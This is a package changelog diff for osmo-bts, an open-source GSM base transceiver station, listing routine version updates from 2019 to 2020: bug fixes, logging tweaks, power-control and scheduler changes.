+Tue Mar 10 21:02:09 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.24:
+ * rsl: make IP DSCP configurable
+ * osmo-bts-virtual: implement GSMTAP_CHANNEL_VOICE
+
+-------------------------------------------------------------------
+Mon Mar 09 21:02:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.22:
+ * l1sap: Use msgb_pull_l2() and unify l1sap_tch_ind + l1sap_ph_data_ind
+
+-------------------------------------------------------------------
+Sun Mar 08 21:02:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.21:
+ * osmo-bts-virtual: do not log GSMTAP message sending failure twice
+
+-------------------------------------------------------------------
+Sun Mar 01 21:02:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.20:
+ * osmo-bts-virtual: do not print redundant info in tx_to_virt_um()
+ * osmo-bts-virtual: fix wrong endianness in gsmtap_hdr_stringify()
+ * common/sysinfo: reduce criticality of a logging message
+
+-------------------------------------------------------------------
+Sat Feb 29 21:02:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.17:
+ * vty: fix left shift by 31 cannot be represented in type 'int'
+
+-------------------------------------------------------------------
+Wed Feb 26 21:03:05 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.16:
+ * virtual: Fix VTY commands to specify GSMTAP multicast groups
+ * cosmetic: Fix some typos with codespell
+
+-------------------------------------------------------------------
+Tue Feb 25 21:03:02 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.14:
+ * bts-trx: trx_if.c: Fix some printf formats
+
+-------------------------------------------------------------------
+Wed Feb 19 21:06:40 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.13:
+ * osmo-bts-sysmo: merge measurement data and payload
+ * Do not depend on pcu_direct flag when populating ph_data_ind
+
+-------------------------------------------------------------------
+Thu Feb 13 21:03:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.11:
+ * l1sap: Change loglevel of Rx TCH.ind INFO->DEBUG
+ * l1_if: Fix strange formatting of Meas info logging
+
+-------------------------------------------------------------------
+Mon Jan 27 21:02:54 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * osmo-bts-sysmo/Makefile.am: fix: do not overwrite bin_PROGRAMS
+
+-------------------------------------------------------------------
+Mon Jan 20 21:09:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.8:
+ * l1sap: merge MEAS IND into PRIM PH DATA / PRIM TCH
+ * measurment: write irssi_full_sum variable correctly
+ * ta_control: move timing advance code from osmo-bts-trx to common
+
+-------------------------------------------------------------------
+Sat Jan 18 21:06:11 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.5:
+ * L1SAP: use LOGL_DEBUG for logging from rach_pass_filter()
+
+-------------------------------------------------------------------
+Sun Jan 12 21:13:03 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * rsl.c: Fix compiler error on gcc-9.2.1
+ * common/abis.c: make use of RSL TEI from OML IPA RSL Connect
+ * common/vty.c: get rid of generic exit / end commands
+
+-------------------------------------------------------------------
+Mon Jan 06 21:04:59 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.1:
+ * measurement: use signed integer for division of ta256b_sum
+
+-------------------------------------------------------------------
+Fri Jan 03 21:06:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.0.95-24e7-dirty → 1.2.0
+ * l1sap.c: ensure ms power control loop is running
+ * rsl: ensure measurement reports are sent
+
+-------------------------------------------------------------------
+Tue Dec 31 21:02:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.93:
+ * osmo-bts-trx/vty: ensure backwards compatibility with older config files
+ * l1sap: is_fille_frame(): verify len of data compared
+
+-------------------------------------------------------------------
+Mon Dec 09 21:06:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.91:
+ * power_control.c: Clarify loop algo vars and use correct ones during log
+
+-------------------------------------------------------------------
+Thu Dec 05 21:02:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.90:
+ * power_control.c: Log maximum allowed MS Power Level
+ * rsl: Clarify when autnonoums MS Power Ctrl Loop is used
+
+-------------------------------------------------------------------
+Wed Dec 04 21:02:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.88:
+ * rach_pass_filter(): Add information about channel type
+
+-------------------------------------------------------------------
+Tue Dec 03 21:02:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.87:
+ * rsl_rx_chan_act: Apply bitmask when parsing IE MS_POWER
+ * common/abis.c: use tall_bts_ctx as talloc-context for libosmo_abis_init()
+
+-------------------------------------------------------------------
+Mon Dec 02 21:04:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.85:
+ * common/abis.c: pass gsm_bts_trx to e1inp_sign_link_create()
+
+-------------------------------------------------------------------
+Sat Nov 30 21:08:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.84:
+ * bts-trx: Drop low layer MS Power Control Loop algo
+
+-------------------------------------------------------------------
+Wed Nov 27 21:06:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.83:
+ * scheduler_trx.c: cast ptrdiff value to fix printf format
+
+-------------------------------------------------------------------
+Tue Nov 26 21:08:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.82:
+ * common/vty.c: fix: properly assert() the result of get_string_value()
+
+-------------------------------------------------------------------
+Fri Nov 22 21:12:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.81:
+ * pcuif_proto.h: extend RACH.ind with TRX and timeslot number fields
+
+-------------------------------------------------------------------
+Thu Nov 21 21:05:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.80:
+ * power_control.c: Limit speed of announced MS Power Level value changes
+ * power_control.c: Don't use announced MS Power level as input for loop calculations
+
+-------------------------------------------------------------------
+Wed Nov 20 21:08:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.78:
+ * osmo-bts-trx/trx_if.c: fix: NOPE.ind also contains C/I field
+ * scheduler_trx.c: avoid division by zero when calculating BER
+
+-------------------------------------------------------------------
+Tue Nov 19 21:05:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.76:
+ * osmo-bts-virtual.cfg: ms-power-control dsp -> osmo
+ * osmo-bts-trx/trx_if.c: also print both RSSI and ToA256 for NOPE.ind
+ * osmo-bts-trx/trx_if.c: fix: always initialize bi->burst_len for NOPE.ind
+ * osmo-bts-trx: general handling of NOPE / IDLE indications
+
+-------------------------------------------------------------------
+Mon Nov 18 21:04:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.72:
+ * Introduce BTS feature BTS_FEAT_MS_PWR_CTRL_DSP
+ * power_control.c: Fix ms pwr ctrl skipped if MS doesn't support announced MS Power Level
+ * power_control.c: Log rx current and target signal levels
+ * power_control.c: Apply latests improvements from loops.c
+
+-------------------------------------------------------------------
+Fri Nov 15 21:06:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.68:
+ * bts-trx: loops.c: Avoid always clamping MS power to MS power class 1
+ * Move and rename gsm_lchan.ms_power field
+ * rsl: Remove unneeded duplicate reset on some lchan fields
+ * Change gsm_lchan field fixed to bool
+ * Change gsm_bts_trx field to bool and rename it
+ * cosmetic: Fix trailing whitespace
+
+-------------------------------------------------------------------
+Wed Nov 13 21:09:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.62:
+ * rsl: Fix logged value in rx MS Power Control
+
+-------------------------------------------------------------------
+Tue Nov 12 21:03:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.61:
+ * bts-trx: Implement MS Power control loop calculations using dBm instead of ctl levels
+ * rsl: Assign recv pwr to lchan's max ms power
+
+-------------------------------------------------------------------
+Mon Nov 11 21:04:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.59:
+ * scheduler_trx: initalize n_errors, n_bursts_bits, n_bits_total
+
+-------------------------------------------------------------------
+Tue Oct 29 21:03:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.58:
+ * scheduler_trx: use gsm0502_fn_remap() to calculate frame number
+
+-------------------------------------------------------------------
+Mon Oct 28 21:02:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.57:
+ * cosmetic: l1sap.c: Fix typo
+ * power_control.c: Take into account RSL CHAN ACT ms power level limits
+ * loops.h: Fix missing include for struct l1sched_trx
+ * bts-trx: loops.c: Take into account RSL CHAN ACT ms power level limits
+ * cosmetic: bts-trx: document variable power level
+
+-------------------------------------------------------------------
+Mon Oct 21 20:02:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.52:
+ * osmo-bts-trx/scheduler: fix: print the last frame number in rx_data_fn()
+ * vty.c: avoid coverity BAD_SHIFT issues
+ * vty.c: don't ignore get_string_value() errors
+
+-------------------------------------------------------------------
+Thu Oct 17 20:01:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.49:
+ * Rename variable: CALIB_SUCESS -> CALIB_SUCCESS
+ * Fix common misspellings and typos
+ * vty: add "logging filter l1-sapi"
+
+-------------------------------------------------------------------
+Wed Oct 16 20:01:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.46:
+ * bts-trx: Time out if no clock ind recvd after RSP POWERON
+
+-------------------------------------------------------------------
+Fri Oct 11 20:02:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.45:
+ * log: set L1 SAPI log context
+
+-------------------------------------------------------------------
+Thu Oct 10 20:02:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.44:
+ * README.md: update osmo-bts-trx specific limitations
+ * L1SAP: there can be no DATA.ind primitives on PTCCH/U, reject them
+ * L1SAP: use GSMTAP_CHANNEL_PDTCH for PDTCH blocks by default
+ * L1SAP: fix gsmtap_pdch(): there can be no DATA.ind on PTCCH/U
+ * L1SAP: use the actual ARFCN for outgoing PCUIF messages
+ * bts-trx: Log TRXC and TRXD socket recv()/send() failures
+ * L1SAP: properly handle 11-bit encoded RACH.ind in gsmtap_ph_rach()
+ * L1SAP: refactor handling of Access Bursts on PDCH
+ * L1SAP: do not pass unused parameter to l1sap_handover_rach()
+ * L1SAP: clarify debug messages in rach_pass_filter()
+ * L1SAP: also consider RSL_CHAN_OSMO_CBCH8 as CBCH
+ * L1SAP: use RSL_CHAN_* definitions from libosmogsm
+
+-------------------------------------------------------------------
+Mon Oct 07 20:07:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.32:
+ * gitignore: add oc2g generated files
+
+-------------------------------------------------------------------
+Sun Oct 06 20:01:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.31:
+ * bts-trx: Drop unused func check_transceiver_availability()
+ * bts-trx: Get rid of messy transceiver_available state handler
+ * bts-trx: Don't reset transceiver_available in scheduler_trx.c
+ * bts-trx: Rework code handling poweron state
+ * bts-trx: trx_set_bts(): Avoid double loop by checking current trx
+ * bts-trx: vty: Print phy link state in cmd 'show transceiver'
+ * bts-trx: Allocate struct osmo_trx_clock_state as part of bts-trx private data
+ * struct gsm_bts: Add model_priv pointer handing bts_model specific data
+
+-------------------------------------------------------------------
+Fri Oct 04 20:01:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.23:
+ * common/l1sap: increase ToA precision for packet Access Bursts
+ * osmo-bts-trx/scheduler: also detect TSC for Access Bursts on PDCH
+ * scheduler: fix handling of PTCCH/U and PTCCH/D logical channels
+
+-------------------------------------------------------------------
+Wed Oct 02 20:01:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.20:
+ * l1sap: Log conn dropped due to radio link counter timeout
+ * scheduler: Use OSMO_ASSERT instead of abort
+ * scheduler.c: Move some message log level to DEBUG
+
+-------------------------------------------------------------------
+Sun Sep 29 20:06:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.17:
+ * bts.h: Remove non-existent function definitions
+ * bts-trx: vty: Use API to get poweron state
+
+-------------------------------------------------------------------
+Thu Sep 19 20:13:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.15:
+ * doc: bts-models.adoc: Fix typos in rts-advance section
+ * bts-trx: Change super verbose IDLE ind not-supported line to DEBUG
+
+-------------------------------------------------------------------
+Wed Sep 18 20:06:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.13:
+ * osmo-bts-trx/scheduler: fix: check rc of osmo_ecu_frame_out()
+
+-------------------------------------------------------------------
+Tue Sep 10 20:02:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.12:
+ * bts-trx: Log case where no SETFORMAT is sent
+ * osmo-bts-trx: migrate to new generic ECU abstraction
+
+-------------------------------------------------------------------
+Sun Sep 08 20:02:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.10:
+ * osmo-bts-trx/scheduler: add FIXME note about FACCH/H and BFI
+ * osmo-bts-trx/scheduler: fix tx_tch_common(): do not send AMR BFI twice
+ * osmo-bts-trx/scheduler: prevent uninitialized memory access
+ * common/rsl.c: fix possible NULL-pointer dereference
+
+-------------------------------------------------------------------
+Sat Sep 07 20:02:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.6:
+ * doc: Update Abis manual RSL section with ETWS related infomration
+ * pcu_interface: Forward ETWS Primary Notification to PCU
+
+-------------------------------------------------------------------
+Fri Sep 06 20:02:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.4:
+ * ETWS Primary Notification via P1 Rest Octets
+
+-------------------------------------------------------------------
+Thu Aug 29 20:06:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.3:
+ * pcu_sock: fix endian-swapped CellID
+
+-------------------------------------------------------------------
+Fri Aug 23 20:05:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.2:
+ * virtual: set link quality for GSMTAP_CHANNEL_RACH
+ * Cosmetic: virtual: l1sap.c: fix typos
+
+-------------------------------------------------------------------
+Thu Aug 08 21:56:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.0:
+ * Bump version: 1.0.1 → 1.1.0
+ * configure.ac: Require libosmocore 1.2.0
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * scheduler_trx: Handle negative return of gsm0503_tch_hr_decode()
+ * osmo-bts-trx: Don't attemtp to adjust MS power if fixed
+ * osmo-bts-trx: Don't increment rssi_valid_count twice
+
+-------------------------------------------------------------------
+Wed Jul 24 20:21:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.355:
+ * trx: Use LOGPPHI instead of LOGP in some more messages
+ * manuals: Update vty documentation
+ * bts-trx: Introduce VTY command osmotrx trxd-max-version
+
+-------------------------------------------------------------------
+Sun Jul 21 20:04:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.352:
+ * osmo-bts-trx/scheduler: rx_data_fn(): provide actual C/I ratio to L1SAP
+ * osmo-bts-trx/scheduler: rx_rach_fn(): provide actual C/I ratio to L1SAP
+ * Move Access Burst link quality handling to L1SAP
+ * Clarify and refactor link quality (C/I) handling
+ * sysmo/l1_if.c: Annotate fall-through in switch statement
+
+-------------------------------------------------------------------
+Fri Jul 19 20:04:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.347:
+ * manuals: Add counter documentation
+
+-------------------------------------------------------------------
+Thu Jul 18 20:06:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.346:
+ * common/rsl.c: fix: properly handle SI3 Rest Octets
+
+-------------------------------------------------------------------
+Wed Jul 17 19:05:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.345:
+ * fix spelling stuff mentioned by lintian
+
+-------------------------------------------------------------------
+Tue Jul 16 20:04:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.344:
+ * osmo-bts-trx/scheduler: rx_rach_fn(): enrich debug message
+ * osmo-bts-trx/scheduler: rx_rach_fn(): clarify handover RACH handling
+ * osmo-bts-trx/scheduler: rx_rach_fn(): use optional TSC info from TRX
+ * osmo-bts/scheduler: provide actual C/I values to OsmoPCU
+ * osmo-bts-trx/scheduler: pass trx_ul_burst_ind to lchan handlers
+ * osmo-bts-trx/trx_if.c: encode actual TRXD header version
+ * osmo-bts-trx/trx_if.c: add TRXD header version negotiation
+ * RSL: Fix fixed MS power control in RSL CHAN ACTIV
+
+-------------------------------------------------------------------
+Thu Jul 11 20:13:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.336:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Sun Jul 07 20:10:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.335:
+ * osmo-bts-trx/trx_if.c: properly describe TRXD messages in logs
+ * osmo-bts-trx/trx_if.c: drop RSSI / ToA debugging code
+ * osmo-bts-trx/trx_if.c: introduce TRXD header version 0x01 support
+ * osmo-bts-trx/trx_if.c: introduce TRXD header version handling
+
+-------------------------------------------------------------------
+Thu Jun 27 20:17:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.331:
+ * osmo-bts-trx/trx_if.c: rename and clarify TRX_MAX_BURST_LEN
+ * osmo-bts-trx/trx_if.c: use osmo_loadXXbe() for TDMA FN and ToA256
+ * bts: Bypass T200 DCCH values for CCCH
+
+-------------------------------------------------------------------
+Fri Jun 21 20:19:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.328:
+ * revert changes to T200
+
+-------------------------------------------------------------------
+Wed Jun 19 20:24:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.327:
+ * manuals: Add script to regenerate counter/vty documentation
+
+-------------------------------------------------------------------
+Thu Jun 13 20:10:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.326:
+ * gsm_data_shared.h: Remove unused loc_list from struct gsm_bts
+ * lapdm: Use new libosmocore API to ensure per-channel-type N200 values
+ * Update T200 timer default values
+ * [correctly] use the LAPDm T200 values received via OML
+ * l1sap: Compute statistics on FN advance in PH-RTS.ind
+
+-------------------------------------------------------------------
+Sun Jun 09 20:02:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.321:
+ * common/scheduler.c: refactor description of TRXC_* lchans
+
+-------------------------------------------------------------------
+Wed Jun 05 20:02:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.320:
+ * Use #define RSL_CHAN_RACH for RSL Channel Number of RACH
+
+-------------------------------------------------------------------
+Tue Jun 04 20:02:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.319:
+ * bts-trx: trx_if.c: Introduce logging macro LOGPPHI
+
+-------------------------------------------------------------------
+Mon Jun 03 20:02:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.318:
+ * common/bts.c: bts_supports_cm(): take care about GSM48_CMODE_SIGN
+ * trx: Update documentation for fn-advance and rts-advance
+
+-------------------------------------------------------------------
+Sat Jun 01 20:02:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.316:
+ * common/rsl.c: RSL_IE_HANDO_REF is mandatory for handover CHAN ACT
+ * osmo-bts/scheduler.h: cosmetic: use bool for ho_rach_detect
+ * osmo-bts-trx/l1_if.h: drop unused ho_rach_detect from trx_l1h
+ * osmo-bts-trx/trx_if.c: dropping Tx bursts is a noticeable event
+
+-------------------------------------------------------------------
+Fri May 31 20:02:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.312:
+ * debian: create -doc subpackage with pdf manuals
+ * osmo-bts-lc15: Change LED behaviour to be the same as oc2g
+ * osmo-bts-oc2g: Fix status LED responsibilities
+
+-------------------------------------------------------------------
+Wed May 29 20:02:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.309:
+ * clear GPRS indicator in SI3 while PCU is disconnected
+ * lc15,sysmo,oc2g: fix dsp-trace-flag command
+
+-------------------------------------------------------------------
+Mon May 27 20:02:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.307:
+ * Fix passing of RR SUSPEND REQ from DCCH to PCU socket
+
+-------------------------------------------------------------------
+Sun May 26 20:02:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.306:
+ * common/rsl.c: fix NULL-pointer dereference in rsl_rx_rll()
+ * Add severity to OML FAILURE EVENT REPORT
+ * oml: Have one generic log message for all transmitted messages
+ * oml: Print more context from FOM Header or using MO
+ * l1sap: Fix calculation of expired RACH slots in case of missing frame numbers
+ * l1sap: Correctly count RACH slots in calc_exprd_rach_frames()
+
+-------------------------------------------------------------------
+Fri May 24 20:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.300:
+ * load_indication: Fix missing re-set of RACH parameters
+ * rsl: MS POWER COCNTROL isn't (only) about "forcing" power levels
+ * rsl: Implement parsing of BS Power Control message
+ * RSL: Fix logic about fixed/dynamic MS power control in MS POWER COMMAND
+ * rsl.adoc: DELETE INDICATION is implemented since Feb '18
+ * Use LOGPLCHAN whenever possible
+
+-------------------------------------------------------------------
+Thu May 23 20:02:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.294:
+ * cbch: Improve verbosity and extend logging; Always indicate BASIC/EXTD CBCH
+ * cbch: Add counters; queue length limits and CBCH LOAD reporting
+ * sysmo: Fix "nominal power" / BS power display in VTY
+
+-------------------------------------------------------------------
+Wed May 22 20:02:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.291:
+ * README.md: Mention LimeSDR as SDR device
+ * manual: SMSCB BROADCAST COMMAND has no limitations anymore
+ * manual: We now support RSL CBCH LOAD INDICATION
+
+-------------------------------------------------------------------
+Tue May 21 20:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.288:
+ * cbch: Keep SMSCB queue length counter
+ * cbch: Support Extended CBCH
+ * cbch: Fix memory leak and send error message on invalid SMSCB command
+ * cbch: Implement support for DEFAULT message
+ * cbch: Log every RSL SMSCB COMMAND with type and number of blocks
+ * cbch: Refactor get_smscb_block() / remove smscb_msg.next_seg
+ * cbch: Implement handling of "Schedule" message
+ * RSL: Fix off-by-one error when parsing SACCH INFO IE in RSL CHAN ACT
+ * RSL: Reject RLL messages for lchans that are not active yet
+ * rsl: Include Channel Nr and Link ID in Error reports whenever possible
+ * rsl: Send RSL Error Report in case of unknown/unsupported msg_type
+
+-------------------------------------------------------------------
+Mon May 20 20:02:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.277:
+ * Revert "debian: create -doc subpackage with pdf manuals"
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Fri May 10 20:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.275:
+ * README.md: remove OS#1865 from 'Known limitations'
+ * Remove 11-bit RACH support from 'Known Limitations'
+ * osmo-bts-sysmo: fix: indicate BTS_FEAT_CBCH support on OML
+
+-------------------------------------------------------------------
+Thu May 09 20:02:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.272:
+ * osmo-bts-trx: distinguish 11-bit Access Bursts by synch. sequence
+ * handle NULL return from rate_ctr_group_alloc()
+
+-------------------------------------------------------------------
+Tue May 07 20:03:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.270:
+ * common/oml.c: fix: properly encode NM_ATT_SW_CONFIG
+ * common/oml.c: refactor Get Attribute Response message generation
+
+-------------------------------------------------------------------
+Sun May 05 20:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.268:
+ * common/oml.c: fix broken debug print in down_mom()
+ * common/oml.c: use proper format specifier for uint16_t
+ * common/oml.c: introduce and use both LOGPFOH and DEBUGPFOH
+
+-------------------------------------------------------------------
+Thu Apr 25 20:02:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.265:
+ * common/paging.c: fix unaligned pointer access
+ * common/rsl.c: fix unaligned pointers in rsl_add_rtp_stats()
+
+-------------------------------------------------------------------
+Tue Apr 23 20:02:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.263:
+ * common/rsl.c: fix size argument in memcmp() call
+
+-------------------------------------------------------------------
+Sun Apr 21 20:02:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.262:
+ * common/l1sap.c: fix: add missing new line to a debug message
+ * common/oml.c: fix total length calculation in cleanup_attr_msg()
+ * common/oml.c: use proper OML object for Get Attribute Response
+ * common/oml.c: use proper NACK reason in oml_tx_attr_resp()
+ * common/oml.c: constify argument 'trx' of handle_attrs_trx()
+
+-------------------------------------------------------------------
+Wed Apr 17 20:04:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.257:
+ * pcu_sock: use %zu conversion specifier for printing sizeof() result
+
+-------------------------------------------------------------------
+Mon Apr 15 20:02:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.256:
+ * oc2gbts_mgr: use osmo_init_logging2() instead of osmo_init_logging()
+
+-------------------------------------------------------------------
+Fri Apr 12 20:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.255:
+ * common/pcu_sock.c: fix possible memleaks in pcu_sock_read()
+
+-------------------------------------------------------------------
+Mon Apr 08 20:02:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.254:
+ * oc2gbts_mgr_calib: do not return NULL on integer function
+ * oc2gbts_mgr_calib: don't use fsync() on *FILE pointer
+ * l1_if: add include for missing header file
+
+-------------------------------------------------------------------
+Mon Apr 01 20:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.251:
+ * common/oml.c: fix: properly push abis_nm_ipa_magic
+
+-------------------------------------------------------------------
+Wed Mar 27 21:03:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.250:
+ * Forward GPRS SUSPEND REQ from DCCH to PCU socket
+ * oml: use oml_tx_failure_event_rep() instead of signals to SS_FAIL
+ * oml: use oml_tx_failure_event_rep() instead of oml_fail_rep()
+ * main: remove wrong call to oml_fail_rep() on SIGUSR1/2 and SIGABRT
+ * vty: add function gsmnet_from_vty() to vty.h
+ * contrib: Remove deprecated screen script helpers
+ * rsl.c: Add missing #include of gsm0808.h
+ * oc2g: change log level for calibration file errors to FATAL
+ * oc2g: generate failure event report in case of bad calibration
+
+-------------------------------------------------------------------
+Wed Mar 20 21:02:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.241:
+ * oc2gbts_mgr: use msgb_talloc_ctx_init() instead of msgb_set_talloc_ctx()
+
+-------------------------------------------------------------------
+Tue Mar 19 21:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.240:
+ * oc2g: l1if: delay trx initialization to avoid race condition
+
+-------------------------------------------------------------------
+Mon Mar 18 21:02:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.239:
+ * Constify pcu_rx_*() parameters
+ * Make gsm_pchan2chan_nr() static
+ * oc2gbts_mgr_vty: remove calls to vty_install_default()
+ * oml: make oml_tx_failure_event_rep() public
+ * lc15: remove unused define constant FACTORY_ROM_PATH
+ * oc2g: remove unused define constant FACTORY_ROM_PATH
+
+-------------------------------------------------------------------
+Fri Mar 15 21:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.233:
+ * OC-2G: Nominal transmit power is 25 dBm, not 40
+
+-------------------------------------------------------------------
+Sat Feb 23 21:02:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.232:
+ * OML: Don't advertise baseband transceiver as UNLOCKED at startup
+ * OML: Store merged attributes of IPA OML Managed Objects
+
+-------------------------------------------------------------------
+Thu Feb 21 21:02:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.230:
+ * oc2g: vty: Compilation error fixes due to commented code
+ * oc2g: Remove unused static function
+
+-------------------------------------------------------------------
+Wed Feb 20 21:23:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.228:
+ * oc2g: Remove unused variables
+ * oc2g: fsync requires fd instead of file stream
+ * oc2g: led_sleep_cb: pass correct ptr to llist_move_tail
+ * oc2g: Cleanup of get_hwversion_desc
+ * oc2g: Add get_hwversion_desc to header file
+ * oc2g: Fix compilation error (comment mark inside comment)
+
+-------------------------------------------------------------------
+Mon Feb 18 21:02:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.222:
+ * Enable statsd support
+
+-------------------------------------------------------------------
+Sun Feb 17 21:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.221:
+ * scheduler_trx: use stored fn for pdtch data indications
+
+-------------------------------------------------------------------
+Fri Feb 15 21:02:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.220:
+ * Log lchan kind on PCU-related error
+ * osmo-bts-trx: add extended (11-bit) RACH support
+
+-------------------------------------------------------------------
+Tue Feb 12 21:02:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.218:
+ * OML: Work around OsmoBSC sending "GET ATTRIBUTES" with short length
+ * OML: Properly reject short messages and truncate over-long messages
+ * OML: Reject segmented OML messages
+ * OML: Use 'const struct abis_oml_mo *' whenever users only read
+ * OML: Report short messages even for invalid TRX numbers in down_fom()
+ * OML: Reduce code duplication in down_mom/down_fom
+ * OML: send proper OML alerts in case of errors
+
+-------------------------------------------------------------------
+Sun Feb 10 21:01:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.211:
+ * OML: remove double-logging on oml_tx_failure_event_rep()
